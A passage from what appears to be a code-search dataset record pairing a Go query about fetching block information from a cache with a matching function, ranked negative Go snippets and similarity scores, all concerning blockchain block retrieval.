number), true)\n\n\treturn\n}", "func (sys *System) GetProfileBlock(ctx *Context) (string, error) {\n\tLog(INFO, ctx, \"System.GetProfileBlock\")\n\tprofile := pprof.Lookup(\"block\")\n\tif profile == nil {\n\t\terr := fmt.Errorf(\"No block profile\")\n\t\tLog(ERROR, ctx, \"System.GetProfileBlock\", \"error\", err, \"when\", \"lookup\")\n\t\treturn \"\", err\n\t}\n\tbuf := new(bytes.Buffer)\n\terr := profile.WriteTo(buf, 0)\n\tif err != nil {\n\t\tLog(ERROR, ctx, \"System.GetProfileBlock\", \"error\", err, \"when\", \"writ\")\n\t\treturn \"\", err\n\t}\n\n\treturn buf.String(), nil\n}", "func (b *BlockDAG) block(id models.BlockID) (block *blockdag.Block, exists bool) {\n\tif b.evictionState.IsRootBlock(id) {\n\t\treturn blockdag.NewRootBlock(id, b.slotTimeProviderFunc()), true\n\t}\n\n\tstorage := b.memStorage.Get(id.SlotIndex, false)\n\tif storage == nil {\n\t\treturn nil, false\n\t}\n\n\treturn storage.Get(id)\n}", "func (ch *blockchain) GetBlock(h chainhash.Hash) (block *primitives.Block, err error) {\n\treturn block, ch.db.View(func(txn blockdb.DBViewTransaction) error {\n\t\tblock, err = txn.GetBlock(h)\n\t\treturn err\n\t})\n}", "func (r *BTCRPC) GetBlockByHeight(height uint64) ([]byte, error) {\n\tvar (\n\t\tblockHash string\n\t\terr error\n\t)\n\n\terr = r.Client.Call(\"getblockhash\", jsonrpc.Params{height}, &blockHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn r.GetBlockByHash(blockHash)\n}", "func (t *Thread) GetBlockData(path string, block *repo.Block) ([]byte, error) {\n\t// get bytes\n\tcypher, err := util.GetDataAtPath(t.ipfs(), path)\n\tif err != nil {\n\t\tlog.Errorf(\"error getting file data: %s\", err)\n\t\treturn nil, err\n\t}\n\n\t// decrypt with thread key\n\treturn t.Decrypt(cypher)\n}", "func (a API) GetBlock(cmd *btcjson.GetBlockCmd) (e error) {\n\tRPCHandlers[\"getblock\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (a *API) GetBlockRlp(number uint64) (hexutil.Bytes, error) {\n\tblock, err := a.backend.BlockByNumber(rpctypes.BlockNumber(number))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn rlp.EncodeToBytes(block)\n}", "func GetTheBlockKey(chain, index uint64) []byte {\n\tvar key Hash\n\tif chain == 0 {\n\t\treturn nil\n\t}\n\tif index == 0 {\n\t\tvar pStat BaseInfo\n\t\tgetDataFormDB(chain, dbStat{}, []byte{StatBaseInfo}, &pStat)\n\t\treturn pStat.Key[:]\n\t}\n\tgetDataFormLog(chain, logBlockInfo{}, runtime.Encode(index), &key)\n\tif key.Empty() {\n\t\treturn nil\n\t}\n\treturn key[:]\n}", "func GetValidatorBlock(cfg *config.Config, c client.Client) string {\n\tvar validatorHeight string\n\tq := client.NewQuery(\"SELECT last(height) FROM heimdall_current_block_height\", cfg.InfluxDB.Database, \"\")\n\tif response, err := c.Query(q); err == nil && response.Error() == nil {\n\t\tfor _, r := range response.Results {\n\t\t\tif len(r.Series) != 0 {\n\t\t\t\tfor idx, col := range r.Series[0].Columns {\n\t\t\t\t\tif col == \"last\" {\n\t\t\t\t\t\theightValue := r.Series[0].Values[0][idx]\n\t\t\t\t\t\tvalidatorHeight = fmt.Sprintf(\"%v\", heightValue)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn validatorHeight\n}", "func (cache *diskBlockCacheWrapped) GetMetadata(ctx context.Context,\n\tblockID kbfsblock.ID) (metadata DiskBlockCacheMetadata, err error) {\n\tcache.mtx.RLock()\n\tdefer cache.mtx.RUnlock()\n\tif cache.syncCache != nil {\n\t\tmd, err := cache.syncCache.GetMetadata(ctx, blockID)\n\t\tswitch errors.Cause(err) {\n\t\tcase nil:\n\t\t\treturn md, nil\n\t\tcase ldberrors.ErrNotFound:\n\t\tdefault:\n\t\t\treturn md, err\n\t\t}\n\t}\n\treturn cache.workingSetCache.GetMetadata(ctx, blockID)\n}", "func (api *GoShimmerAPI) GetBlockMetadata(base58EncodedID string) (*retainer.BlockMetadata, error) {\n\tres := retainer.NewBlockMetadata()\n\n\tif err := api.do(\n\t\thttp.MethodGet,\n\t\trouteBlock+base58EncodedID+routeBlockMetadata,\n\t\tnil,\n\t\tres,\n\t); err != nil {\n\t\treturn nil, err\n\t}\n\n\tres.SetID(res.M.ID)\n\n\treturn res, nil\n}", "func (c *Client) GetBlock(ctx context.Context, slot uint64) (GetBlockResponse, error) {\n\tres, err := c.RpcClient.GetBlockWithConfig(\n\t\tctx,\n\t\tslot,\n\t\trpc.GetBlockConfig{\n\t\t\tEncoding: rpc.GetBlockConfigEncodingBase64,\n\t\t},\n\t)\n\terr = checkRpcResult(res.GeneralResponse, err)\n\tif err != nil {\n\t\treturn GetBlockResponse{}, err\n\t}\n\treturn getBlock(res)\n}", "func (a API) GetBlockChk() (isNew bool) {\n\tselect {\n\tcase o := <-a.Ch.(chan GetBlockRes):\n\t\tif o.Err != nil {\n\t\t\ta.Result = o.Err\n\t\t} else {\n\t\t\ta.Result = o.Res\n\t\t}\n\t\tisNew = true\n\tdefault:\n\t}\n\treturn\n}", "func (tb *tableManager) read(keyIn uint64) (*Block, error) {\n\tentry, err := tb.getEntry(keyIn)\n\tif err != nil {\n\t\tlog.Println(\"Could not obtain entry.\")\n\t\treturn nil, errors.New(\"Could not obtain entry.\")\n\t}\n\tif entry.flags&flagRemove != 0 {\n\t\t// dataBase should be able to tell if a dirtyKey is marked\n\t\t// for removal so it can write it as removed in log.\n\t\treturn nil, nil\n\t}\n\ttb.updateLRUCacheHead(entry)\n\treturn entry.block, nil\n}", "func (c *Client) GetBlockByNumber(block string, full bool) (*BlockResponse, error) {\n\trequest := c.newRequest(EthGetBlockByNumber)\n\n\trequest.Params = []interface{}{\n\t\tstring(block),\n\t\tfull,\n\t}\n\tresponse := &BlockResponse{}\n\n\treturn response, c.send(request, response)\n}", "func (c *ChainIO) GetBlock(blockHash *chainhash.Hash) (*wire.MsgBlock, er.R) {\n\treturn nil, nil\n}", "func (b *Backend) GetBlockByHeight(\n\tctx context.Context,\n\theight uint64,\n) (*flowgo.Block, error) {\n\tblock, err := b.emulator.GetBlockByHeight(height)\n\tif err != nil {\n\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t}\n\n\tblockID := block.ID()\n\n\tb.logger.WithFields(logrus.Fields{\n\t\t\"blockHeight\": block.Header.Height,\n\t\t\"blockID\": hex.EncodeToString(blockID[:]),\n\t}).Debug(\"🎁 GetBlockByHeight called\")\n\n\treturn block, nil\n}", "func GetBlockByShardIDAndNonce(c *gin.Context) {\n\tef, ok := c.MustGet(\"elrondProxyFacade\").(FacadeHandler)\n\tif !ok {\n\t\tshared.RespondWithInvalidAppContext(c)\n\t\treturn\n\t}\n\n\tshardIDStr := c.Param(\"shardID\")\n\tshardID, err := strconv.ParseUint(shardIDStr, 10, 32)\n\tif err != nil {\n\t\tshared.RespondWith(c, http.StatusBadRequest, nil, errors.ErrCannotParseShardID.Error(), data.ReturnCodeRequestError)\n\t\treturn\n\t}\n\n\tnonceStr := c.Param(\"nonce\")\n\tnonce, err := strconv.ParseUint(nonceStr, 10, 64)\n\tif err != nil {\n\t\tshared.RespondWith(c, http.StatusBadRequest, nil, errors.ErrCannotParseNonce.Error(), data.ReturnCodeRequestError)\n\t\treturn\n\t}\n\n\tapiBlock, err := ef.GetBlockByShardIDAndNonce(uint32(shardID), nonce)\n\tif err != nil {\n\t\tshared.RespondWith(c, http.StatusInternalServerError, nil, err.Error(), data.ReturnCodeInternalError)\n\t\treturn\n\t}\n\n\tshared.RespondWith(c, http.StatusOK, gin.H{\"block\": apiBlock}, \"\", data.ReturnCodeSuccess)\n}", "func GetReplacementKey(hash string) (string, string, error) {\n //narcolepsy()\n blockHash := hash\n fmt.Println(\"Looking for previous block hash ...\")\n resp, err := http.Get(BLOCKCHAININFOENDPOINT + blockHash + \"?\" + APICode)\n if err != nil {\n return \"\", \"\", err\n }\n defer resp.Body.Close()\n body, err := ioutil.ReadAll(resp.Body)\n if err != nil {\n panic(err.Error())\n }\n tx, err := getTxs(body)\n fmt.Println(\"prevblock\" , tx.Prevblock)\n if tx.Prevblock != \"\" {\n return tx.Prevblock, tx.Hash, nil\n }\n\n return \"\", \"\", ErrReplacementKey\n}", "func GetBlockHandler(w http.ResponseWriter, r *http.Request) {\n\t// update in case last update is newer\n\tvars := mux.Vars(r)\n\t// convert block index string to uint64\n\tblockID, _ := strconv.ParseUint(vars[\"blockId\"], 10, 64)\n\n\ttmp := atomic.LoadUint64(&lastBlock)\n\tif blockID > tmp {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\terr := fmt.Errorf(\"requested id %d latest %d\", blockID, lastBlock)\n\t\tlog.Println(err.Error())\n\t\t_, _ = w.Write([]byte(err.Error()))\n\t\treturn\n\t}\n\t// retuning anything in the body regardless of any error code\n\t// it may contain\n\t_, _, body, _ := dataCollection.GetBlock(blockID, config.DefaultRequestsTimeout)\n\twriteResponse(body, &w)\n}", "func readBlock(reader io.ReadSeeker) (*Block, int64, error) {\n\t// Protect function with lock since it modifies reader state\n\tm.Lock()\n\tdefer m.Unlock()\n\n\toffset, err := reader.Seek(0, 1)\n\n\tif err != nil {\n\t\treturn nil, offset, err\n\t}\n\n\theaderData := make([]byte, HEADER_SIZE)\n\tn, err := reader.Read(headerData)\n\n\tif err != nil {\n\t\treturn nil, offset, err\n\t}\n\n\tif n != HEADER_SIZE {\n\t\treturn nil, offset, NotEnoughDataErr\n\t}\n\n\tblockSize := binary.LittleEndian.Uint32(headerData)\n\tblockBuffer := make([]byte, blockSize)\n\tn, err = reader.Read(blockBuffer)\n\n\tif err != nil {\n\t\treturn nil, offset, err\n\t}\n\n\tif uint32(n) != blockSize {\n\t\treturn nil, offset, NotEnoughDataErr\n\t}\n\n\tif err != nil {\n\t\treturn nil, offset, err\n\t}\n\n\tvar block = &Block{}\n\n\terr = json.Unmarshal(blockBuffer, block)\n\n\tif err != nil {\n\t\treturn nil, offset, err\n\t}\n\n\t// Set reader to begin of next block or EOF\n\t_, err = reader.Seek(DIGEST_SIZE, 1)\n\n\tif err != nil {\n\t\treturn nil, offset, err\n\t}\n\n\treturn block, offset, nil\n}", "func ReadBlockData(chain uint64, key []byte) []byte {\n\tstream, _ := runtime.DbGet(dbBlockData{}, chain, key)\n\treturn stream\n}", "func (st *LogInfo) ReadBlock(readBuf *codec.Reader, tag byte, require bool) error {\n\tvar (\n\t\terr error\n\t\thave bool\n\t)\n\tst.ResetDefault()\n\n\thave, err = readBuf.SkipTo(codec.StructBegin, tag, require)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !have {\n\t\tif require {\n\t\t\treturn fmt.Errorf(\"require LogInfo, but not exist. tag %d\", tag)\n\t\t}\n\t\treturn nil\n\t}\n\n\terr = st.ReadFrom(readBuf)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = readBuf.SkipToStructEnd()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_ = have\n\treturn nil\n}", "func (self *StateStore) GetCurrentBlock() (common.Hash, uint64, error) {\n\tkey := self.getCurrentBlockKey()\n\tdata, err := self.store.Get(key)\n\tif err != nil {\n\t\treturn common.Hash{}, 0, err\n\t}\n\treader := bytes.NewReader(data)\n\tblockHash := common.Hash{}\n\terr = blockHash.Deserialize(reader)\n\tif err != nil {\n\t\treturn common.Hash{}, 0, err\n\t}\n\theight, err := serialization.ReadUint64(reader)\n\tif err != nil {\n\t\treturn common.Hash{}, 0, err\n\t}\n\treturn blockHash, height, nil\n}", "func (n *DcrdNotifier) fetchFilteredBlock(epoch chainntnfs.BlockEpoch) (*filteredBlock, error) {\n\treturn n.fetchFilteredBlockForBlockHash(epoch.Hash)\n}", "func (s Store) FindBlockByHeight (Height uint64) (*types.FullSignedBlock, error) {\r\n\t// Open badger\r\n\tstor, err := badger.Open(badger.DefaultOptions(s.StorFileLocation))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tdefer stor.Close()\r\n\r\n\tvar block types.FullSignedBlock\r\n\terr = stor.Update(func(txn *badger.Txn) error {\r\n\t\tbytes, err := readUIntIndex (txn, Height, HeightKeyPrefix)\r\n\t\tif err != nil{\r\n\t\t\treturn err\r\n\t\t}\r\n\t\terr = json.Unmarshal(bytes, &block)\r\n\r\n\t\treturn err\r\n\t})\r\n\r\n\treturn &block, err\r\n}", "func blockDetails(block *btcutil.Block, txIndex int) *btcjson.BlockDetails {\n\tif block == nil {\n\t\treturn nil\n\t}\n\treturn &btcjson.BlockDetails{\n\t\tHeight: block.Height(),\n\t\tHash: block.Hash().String(),\n\t\tIndex: txIndex,\n\t\tTime: block.MsgBlock().Header.Timestamp.Unix(),\n\t}\n}", "func (s *State) ParseBlock(b []byte) (snowman.Block, error) {\n\t// See if we've cached this block's ID by its byte repr.\n\tblkIDIntf, blkIDCached := s.bytesToIDCache.Get(string(b))\n\tif blkIDCached {\n\t\tblkID := blkIDIntf.(ids.ID)\n\t\t// See if we have this block cached\n\t\tif cachedBlk, ok := s.getCachedBlock(blkID); ok {\n\t\t\treturn cachedBlk, nil\n\t\t}\n\t}\n\n\t// We don't have this block cached by its byte repr.\n\t// Parse the block from bytes\n\tblk, err := s.unmarshalBlock(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tblkID := blk.ID()\n\ts.bytesToIDCache.Put(string(b), blkID)\n\n\t// Only check the caches if we didn't do so above\n\tif !blkIDCached {\n\t\t// Check for an existing block, so we can return a unique block\n\t\t// if processing or simply allow this block to be immediately\n\t\t// garbage collected if it is already cached.\n\t\tif cachedBlk, ok := s.getCachedBlock(blkID); ok {\n\t\t\treturn cachedBlk, nil\n\t\t}\n\t}\n\n\ts.missingBlocks.Evict(blkID)\n\n\t// Since this block is not in consensus, addBlockOutsideConsensus\n\t// is called to add [blk] to the correct cache.\n\treturn s.addBlockOutsideConsensus(blk)\n}", "func (iterator *BlockchainIterator) Next() *Block {\n\tvar block *Block\n\n\t// connection to the database\n\terr := iterator.database.View(func(tx *bolt.Tx) error {\n\t\t// read the bucket\n\t\tb := tx.Bucket([]byte(blocksBucket))\n\n\t\t// get block with the current hash (if it's the first time, last_block_hash)\n\t\tencodedBlock := b.Get(iterator.currentHash)\n\n\t\t// decode the block\n\t\tblock = DeserializeBlock(encodedBlock)\n\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Previous block hash became current hash\n\titerator.currentHash = block.PrevBlockHash\n\n\treturn block\n}", "func GetBlockTime(chain uint64) uint64 {\n\tvar pStat BaseInfo\n\tgetDataFormDB(chain, dbStat{}, []byte{StatBaseInfo}, &pStat)\n\treturn pStat.Time\n}", "func (c *RPCClient) GetBlock(hash string, includeTransactions bool) (\n\t*appmessage.GetBlockResponseMessage, error) {\n\n\terr := c.rpcRouter.outgoingRoute().Enqueue(\n\t\tappmessage.NewGetBlockRequestMessage(hash, includeTransactions))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresponse, err := c.route(appmessage.CmdGetBlockResponseMessage).DequeueWithTimeout(c.timeout)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tGetBlockResponse := response.(*appmessage.GetBlockResponseMessage)\n\tif GetBlockResponse.Error != nil {\n\t\treturn nil, c.convertRPCError(GetBlockResponse.Error)\n\t}\n\treturn GetBlockResponse, nil\n}" ]
[ "0.7433264", "0.7097633", "0.6854615", "0.68225086", "0.6701608", "0.6690817", "0.6671227", "0.66362625", "0.6624479", "0.6556569", "0.654426", "0.65282035", "0.6453793", "0.64411473", "0.64145565", "0.6384272", "0.6361632", "0.6350189", "0.6332914", "0.63143504", "0.63122755", "0.6276855", "0.62722754", "0.626917", "0.6268442", "0.62615806", "0.62576157", "0.6250595", "0.6228399", "0.6206422", "0.62036854", "0.61922425", "0.6184753", "0.6177372", "0.61295027", "0.6117553", "0.6072286", "0.60698146", "0.6058778", "0.60442114", "0.6038176", "0.60239094", "0.6021981", "0.5988593", "0.5979296", "0.59539616", "0.5948732", "0.59467995", "0.59231734", "0.5920634", "0.5914928", "0.5910248", "0.59047616", "0.590401", "0.588535", "0.5882109", "0.5872549", "0.5863883", "0.5847131", "0.58417445", "0.58373094", "0.5836283", "0.5808254", "0.57674176", "0.57669437", "0.5761223", "0.5760617", "0.5756769", "0.5751518", "0.57369083", "0.5734187", "0.57124746", "0.56992763", "0.5698704", "0.5695364", "0.5666681", "0.56615573", "0.56585914", "0.56538606", "0.56491953", "0.5649183", "0.56442225", "0.5639414", "0.56372595", "0.5633367", "0.5622527", "0.5618717", "0.56141365", "0.5612162", "0.5610706", "0.55889577", "0.55875146", "0.5587242", "0.5576455", "0.5571031", "0.5565421", "0.5554572", "0.5551051", "0.5549285", "0.55422366" ]
0.7098702
1
Get the block information, checking the cache first.
func (dcr *DCRBackend) getDcrBlock(blockHash *chainhash.Hash) (*dcrBlock, error) { cachedBlock, found := dcr.blockCache.block(blockHash) if found { return cachedBlock, nil } blockVerbose, err := dcr.node.GetBlockVerbose(blockHash, false) if err != nil { return nil, fmt.Errorf("error retrieving block %s: %v", blockHash, err) } return dcr.blockCache.add(blockVerbose) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (cache *BlockCache) Get(blockID BlockID) (string, error) {\n\tcache.mu.Lock()\n\tdefer cache.mu.Unlock()\n\tif entry, ok := cache.entries[blockID]; ok {\n\t\tcache.callCount++\n\t\tentry.lastUsed = cache.callCount\n\t\treturn entry.block, nil\n\t}\n\treturn \"\", errors.New(\"Block \" + string(blockID) + \" is not cached\")\n}", "func (bidb *BlockInfoStorage) GetBlockInfo(atTime time.Time) (common.BlockInfo, error) {\n\tvar (\n\t\tlogger = bidb.sugar.With(\n\t\t\t\"func\", caller.GetCurrentFunctionName(),\n\t\t\t\"time\", atTime.String(),\n\t\t)\n\t\tresult common.BlockInfo\n\t)\n\tconst selectStmt = `SELECT block, time FROM %[1]s WHERE time>$1 AND time<$2 Limit 1`\n\tquery := fmt.Sprintf(selectStmt, bidb.tableNames[blockInfoTable])\n\tlogger.Debugw(\"querying blockInfo...\", \"query\", query)\n\tif err := bidb.db.Get(&result, query, timeutil.Midnight(atTime), timeutil.Midnight(atTime).AddDate(0, 0, 1)); err != nil {\n\t\treturn common.BlockInfo{}, err\n\t}\n\treturn result, nil\n}", "func (c *BlockCache) Get(height int) *walletrpc.CompactBlock {\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\n\tif height < c.firstBlock || height >= c.nextBlock {\n\t\treturn nil\n\t}\n\tblock := c.readBlock(height)\n\tif block == nil {\n\t\tgo func() {\n\t\t\t// We hold only the read lock, need the exclusive lock.\n\t\t\tc.mutex.Lock()\n\t\t\tc.recoverFromCorruption(height - 10000)\n\t\t\tc.mutex.Unlock()\n\t\t}()\n\t\treturn nil\n\t}\n\treturn block\n}", "func GetBlock(cache *BlockCache, height int) (*walletrpc.CompactBlock, error) {\n\t// First, check the cache to see if we have the block\n\tblock := cache.Get(height)\n\tif block != nil {\n\t\treturn block, nil\n\t}\n\n\t// Not in the cache, ask zcashd\n\tblock, err := getBlockFromRPC(height)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif block == nil {\n\t\t// Block height is too large\n\t\treturn nil, errors.New(\"block requested is newer than latest block\")\n\t}\n\treturn block, nil\n}", "func (s *State) getCachedBlock(blkID ids.ID) (snowman.Block, bool) {\n\tif blk, ok := s.verifiedBlocks[blkID]; ok {\n\t\treturn blk, true\n\t}\n\n\tif blk, ok := s.decidedBlocks.Get(blkID); ok {\n\t\treturn blk.(snowman.Block), true\n\t}\n\n\tif blk, ok := s.unverifiedBlocks.Get(blkID); ok {\n\t\treturn blk.(snowman.Block), true\n\t}\n\n\treturn nil, false\n}", "func (e *offlineExchange) GetBlock(_ context.Context, k u.Key) (*blocks.Block, error) {\n\treturn e.bs.Get(k)\n}", "func getBlockToFetch(max_height uint32, cnt_in_progress, avg_block_size uint) (lowest_found *OneBlockToGet) {\r\n\tfor _, v := range BlocksToGet {\r\n\t\tif v.InProgress == cnt_in_progress && v.Block.Height <= max_height &&\r\n\t\t\t(lowest_found == nil || v.Block.Height < lowest_found.Block.Height) {\r\n\t\t\tlowest_found = v\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "func (s *Server) getBlock(ctx context.Context, bh *chainhash.Hash) (*wire.MsgBlock, error) {\n\tbl, ok := s.cacheBlocks.Lookup(*bh)\n\tif ok {\n\t\treturn bl.(*wire.MsgBlock), nil\n\t}\n\n\tb, err := s.c.GetBlock(ctx, bh)\n\tif err == nil {\n\t\ts.cacheBlocks.Add(*bh, b)\n\t\treturn b, err\n\t}\n\n\tif rpcerr, ok := err.(*dcrjson.RPCError); ok && rpcerr.Code == dcrjson.ErrRPCBlockNotFound {\n\t\treturn nil, types.ErrBlockNotFound\n\t}\n\n\t// TODO: types.DcrdError()\n\treturn nil, err\n}", "func (dcr *DCRBackend) getBlockInfo(blockid string) (*dcrBlock, error) {\n\tblockHash, err := chainhash.NewHashFromStr(blockid)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to decode block hash from %s\", blockid)\n\t}\n\treturn dcr.getDcrBlock(blockHash)\n}", "func (cache *diskBlockCacheWrapped) Get(ctx context.Context, tlfID tlf.ID,\n\tblockID kbfsblock.ID) (\n\tbuf []byte, serverHalf kbfscrypto.BlockCryptKeyServerHalf,\n\tprefetchStatus PrefetchStatus, err error) {\n\tcache.mtx.RLock()\n\tdefer cache.mtx.RUnlock()\n\tprimaryCache := cache.workingSetCache\n\tsecondaryCache := cache.syncCache\n\tif cache.config.IsSyncedTlf(tlfID) && cache.syncCache != nil {\n\t\tprimaryCache, secondaryCache = secondaryCache, primaryCache\n\t}\n\t// Check both caches if the primary cache doesn't have the block.\n\tbuf, serverHalf, prefetchStatus, err =\n\t\tprimaryCache.Get(ctx, tlfID, blockID)\n\tif _, isNoSuchBlockError := err.(NoSuchBlockError); isNoSuchBlockError &&\n\t\tsecondaryCache != nil {\n\t\treturn secondaryCache.Get(ctx, tlfID, blockID)\n\t}\n\treturn buf, serverHalf, prefetchStatus, err\n}", "func (c *Cache) getBlock(aoffset int64, locked bool) *cacheBlock {\n\tif !locked {\n\t\tc.mu.Lock()\n\t\tdefer c.mu.Unlock()\n\t}\n\n\tif blk, ok := c.blocks[aoffset]; ok {\n\t\tc.lru.MoveToFront(blk.lru)\n\t\treturn blk\n\t}\n\n\treturn nil\n}", "func (self *StateStore) GetCurrentBlock() (common.Hash, uint64, error) {\n\tkey := self.getCurrentBlockKey()\n\tdata, err := self.store.Get(key)\n\tif err != nil {\n\t\treturn common.Hash{}, 0, err\n\t}\n\treader := bytes.NewReader(data)\n\tblockHash := common.Hash{}\n\terr = blockHash.Deserialize(reader)\n\tif err != nil {\n\t\treturn common.Hash{}, 0, err\n\t}\n\theight, err := serialization.ReadUint64(reader)\n\tif err != nil {\n\t\treturn common.Hash{}, 0, err\n\t}\n\treturn blockHash, height, nil\n}", "func (db *DBlock) Get(c *Client) error {\n\tif db.IsPopulated() {\n\t\treturn nil\n\t}\n\n\tresult := struct{ DBlock *DBlock }{DBlock: db}\n\tif err := c.FactomdRequest(\"dblock-by-height\", db, &result); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (c *BlockCache) Get(key string) (bool, error) {\n\tc.mu.RLock()\n\tdefer c.mu.RUnlock()\n\n\tkey = strings.ToLower(key)\n\tval, ok := c.m[key]\n\n\tif !ok {\n\t\treturn false, errors.New(\"block not found\")\n\t}\n\n\treturn val, nil\n}", "func (s Store) GetBlock (hash string) (*types.FullSignedBlock, error) {\r\n\t// Open badger\r\n\tstor, err := badger.Open(badger.DefaultOptions(s.StorFileLocation))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tdefer stor.Close()\r\n\r\n\tvar block types.FullSignedBlock\r\n\terr = stor.Update(func(txn *badger.Txn) error {\r\n\t\tbytes, err := readStringIndex (txn, hash, HashKeyPrefix)\r\n\t\tif err != nil{\r\n\t\t\treturn err\r\n\t\t}\r\n\t\terr = json.Unmarshal(bytes, &block)\r\n\r\n\t\treturn err\r\n\t})\r\n\r\n\treturn &block, err\r\n}", "func getBlock(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\n\thash, err := chainhash.NewHashFromStr(ps.ByName(\"hash\"))\n\tif err != nil {\n\t\tlog.Printf(\"could not convert string to hash: %s\\n\", err)\n\t}\n\n\tblock, err := dao.GetBlock(hash)\n\tif err != nil {\n\t\tfmt.Fprintf(w, \"Not found\")\n\t\treturn\n\t}\n\t//block.Confirmations = getBlockConfirmations(block)\n\t//block.Confirmations = getBlockConfirmations(*block) // needs dynamic calculation\n\n\t//apiblock, err := insight.ConvertToInsightBlock(block)\n\n\tjson.NewEncoder(w).Encode(&block)\n}", "func (sbc *SyncBlockChain) Get(Height int32) []Block {\n\tsbc.Mux.Lock()\n\tdefer sbc.Mux.Unlock()\n\tif val, ok := sbc.BC.Chain[Height]; ok {\n\t\treturn val\n\t}\n\treturn nil\n}", "func (c *Cache) GetBlock(k Key) Block {\n\tidx := uint64(0)\n\tif len(c.shards) > 1 {\n\t\th := k.hashUint64()\n\t\tidx = h % uint64(len(c.shards))\n\t}\n\tshard := c.shards[idx]\n\treturn shard.GetBlock(k)\n}", "func (sbc *SyncBlockChain) GetBlock(height int32, hash string) *Block {\n\tblocksAtHeight := sbc.Get(height)\n\tsbc.Mux.Lock()\n\tdefer sbc.Mux.Unlock()\n\tif blocksAtHeight != nil {\n\t\tfor _, block := range blocksAtHeight {\n\t\t\tif block.Header.Hash == hash {\n\t\t\t\treturn &block\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (db *StakeDatabase) block(ind int64) (*dcrutil.Block, bool) {\n\tblock, ok := db.BlockCached(ind)\n\tif !ok {\n\t\tvar err error\n\t\tblock, err = getBlockByHeight(db.NodeClient, ind) // rpcutils.GetBlock(ind, db.NodeClient)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\treturn nil, false\n\t\t}\n\t}\n\treturn block, ok\n}", "func (l *Channel) getBlock(blockNumber uint64) (*types.Block, error) {\n\tvar blockNumberInt *big.Int\n\tif blockNumber > 0 {\n\t\tblockNumberInt = big.NewInt(int64(blockNumber))\n\t}\n\n\td := time.Now().Add(5 * time.Second)\n\tctx, cancel := context.WithDeadline(context.Background(), d)\n\tdefer cancel()\n\n\tblock, err := l.client.BlockByNumber(ctx, blockNumberInt)\n\tif err != nil {\n\t\tif err.Error() == \"not found\" {\n\t\t\treturn nil, nil\n\t\t}\n\t\terr = errors.Wrap(err, \"Error getting block from geth\")\n\t\tl.log.WithField(\"block\", blockNumberInt.String()).Error(err)\n\t\treturn nil, err\n\t}\n\n\treturn block, nil\n}", "func (eb *EBlock) Get(c *Client) error {\n\t// If the EBlock is already populated then there is nothing to do.\n\tif eb.IsPopulated() {\n\t\treturn nil\n\t}\n\n\t// If we don't have a KeyMR, fetch the chain head KeyMR.\n\tif eb.KeyMR == nil {\n\t\t// If the KeyMR and ChainID are both nil we have nothing to\n\t\t// query for.\n\t\tif eb.ChainID == nil {\n\t\t\treturn fmt.Errorf(\"no KeyMR or ChainID specified\")\n\t\t}\n\t\tif err := eb.GetChainHead(c); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Make RPC request for this Entry Block.\n\tparams := struct {\n\t\tKeyMR *Bytes32 `json:\"hash\"`\n\t}{KeyMR: eb.KeyMR}\n\tvar result struct {\n\t\tData Bytes `json:\"data\"`\n\t}\n\tif err := c.FactomdRequest(\"raw-data\", params, &result); err != nil {\n\t\treturn err\n\t}\n\theight := eb.Height\n\tif err := eb.UnmarshalBinary(result.Data); err != nil {\n\t\treturn err\n\t}\n\t// Verify height if it was initialized\n\tif height > 0 && height != eb.Height {\n\t\treturn fmt.Errorf(\"height does not match\")\n\t}\n\tkeyMR, err := eb.ComputeKeyMR()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif *eb.KeyMR != keyMR {\n\t\treturn fmt.Errorf(\"invalid key merkle root\")\n\t}\n\treturn nil\n}", "func (c *Client) GetBlockAt(height uint64) (block *rpctypes.ResultBlock, err error) {\n\tblock = new(rpctypes.ResultBlock)\n\tvar url string\n\tif height == 0 {\n\t\turl = c.URL(\"block/current\")\n\t} else {\n\t\turl = c.URL(\"block/height/%d\", height)\n\t}\n\terr = c.get(block, url)\n\terr = errors.Wrap(err, \"getting block by height\")\n\treturn\n}", "func GetBlock(hostURL string, hostPort int, hash string) *bytes.Buffer {\n\tparams := make(map[string]interface{})\n\tparams[\"hash\"] = hash\n\treturn makePostRequest(hostURL, hostPort, \"f_block_json\", params)\n}", "func (ht *HeadTracker) Get() *models.BlockHeader {\n\tht.mutex.RLock()\n\tdefer ht.mutex.RUnlock()\n\treturn ht.blockHeader\n}", "func GetBlock(conn *grpc.ClientConn, hash string) (*types.Block, error) {\n\tc := pb.NewContorlCommandClient(conn)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\tlogger.Infof(\"Query block info of a hash :%s\", hash)\n\tr, err := c.GetBlock(ctx, &pb.GetBlockRequest{BlockHash: hash})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock := &types.Block{}\n\terr = block.FromProtoMessage(r.Block)\n\treturn block, err\n}", "func (h HTTPHandler) HandleBlockInfo(w http.ResponseWriter, r 